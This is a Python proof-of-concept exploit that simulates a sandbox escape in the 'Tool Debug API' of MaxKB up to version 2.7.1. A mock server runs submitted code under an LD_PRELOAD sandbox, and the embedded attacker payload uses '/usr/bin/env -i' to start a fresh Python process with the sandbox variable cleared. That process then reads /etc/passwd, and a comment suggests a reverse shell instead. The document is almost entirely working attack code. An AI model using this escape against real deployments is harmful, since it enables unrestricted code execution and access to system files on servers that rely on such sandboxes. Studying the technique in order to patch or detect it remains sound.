Vulnerable code sample

import os
import subprocess
import sys

# This function simulates the vulnerable "Tool Debug API" in MaxKB <= 2.7.1
# It takes user-provided Python code and attempts to run it in a sandbox.
def vulnerable_api_execute_tool(user_code):
    """
    Simulates the vulnerable MaxKB API endpoint.
    It establishes a sandboxed environment using LD_PRELOAD and then
    executes the user-provided Python code within it.
    """
    print("--- [MaxKB Server] Received request to execute user code in sandbox. ---")

    # 1. The server sets up the sandbox environment using LD_PRELOAD.
    # This is intended to intercept and block dangerous function calls.
    sandboxed_env = os.environ.copy()
    sandboxed_env['LD_PRELOAD'] = '/path/to/sandbox.so'
    print(f"--- [MaxKB Server] Injecting sandbox via LD_PRELOAD: {sandboxed_env['LD_PRELOAD']} ---")

    # 2. The server executes the user-provided Python code.
    # The vulnerability lies in the fact that the code running inside this
    # sandbox is allowed to call '/usr/bin/env'.
    print("--- [MaxKB Server] Executing user code inside the sandbox... ---")
    try:
        # Using python -c to run the code string directly
        process = subprocess.run(
            [sys.executable, '-c', user_code],
            env=sandboxed_env,
            check=True,
            capture_output=True,
            text=True
        )
        print("--- [MaxKB Server] User code executed successfully (or so it seems). ---")
        print("--- STDOUT ---\n" + process.stdout)
        print("--- STDERR ---\n" + process.stderr)

    except subprocess.CalledProcessError as e:
        print(f"--- [MaxKB Server] User code execution failed. ---")
        print("--- STDOUT ---\n" + e.stdout)
        print("--- STDERR ---\n" + e.stderr)
    except Exception as e:
        print(f"--- [MaxKB Server] An unexpected error occurred: {e} ---")


# This represents the malicious code an authenticated attacker would submit.
attacker_payload_code = """
import os
import subprocess

print("[Attacker Code] Running inside what should be a sandbox.")

# Check the environment to confirm the sandbox hook is active.
ld_preload_var = os.getenv('LD_PRELOAD')
if ld_preload_var:
    print(f"[Attacker Code] Confirmed: LD_PRELOAD is set to '{ld_preload_var}'. The sandbox is active.")
else:
    print("[Attacker Code] Warning: LD_PRELOAD is not set. This shouldn't happen.")

print("[Attacker Code] Now, attempting to escape the sandbox...")

# This is the code that will run *after* the sandbox escape.
# It demonstrates unrestricted access by reading a sensitive file.
post_escape_code = '''
import os
import subprocess
print("    [Escaped Process] Greetings from the unsandboxed world!")
escaped_ld_preload = os.getenv('LD_PRELOAD')
if not escaped_ld_preload:
    print("    [Escaped Process] SUCCESS! LD_PRELOAD environment variable was cleared.")
    print("    [Escaped Process] Now executing restricted command: reading /etc/passwd")
    try:
        # In a real scenario, this could be a reverse shell, network request, etc.
        result = subprocess.run(['cat', '/etc/passwd'], capture_output=True, text=True, check=True)
        print("    [Escaped Process] Contents of /etc/passwd (first 5 lines):")
        for line in result.stdout.splitlines()[:5]:
            print(f"    [Escaped Process] {line}")
    except Exception as e:
        print(f"    [Escaped Process] Could not execute command. (This may happen on non-Unix systems or due to permissions). Error: {e}")
else:
    print(f"    [Escaped Process] FAILURE! LD_PRELOAD is still set to '{escaped_ld_preload}'.")
'''

# The core of the exploit: using 'env -i' to clear the environment.
# 'env -i' starts the subsequent command ('python') with a completely empty environment,
# thus dropping the LD_PRELOAD variable and deactivating the sandbox.
escape_command = ['/usr/bin/env', '-i', 'python', '-c', post_escape_code]

try:
    print(f"[Attacker Code] Executing command: {' '.join(escape_command)}")
    subprocess.run(escape_command, check=True)
    print("[Attacker Code] Sandbox escape command executed.")
except FileNotFoundError:
    print("[Attacker Code] Exploit failed: /usr/bin/env not found. This PoC is designed for a Unix-like environment.")
except Exception as e:
    print(f"[Attacker Code] An error occurred during escape attempt: {e}")

"""

if __name__ == "__main__":
    # This simulates the attacker calling the vulnerable API endpoint
    # with their malicious payload.
    vulnerable_api_execute_tool(attacker_payload_code)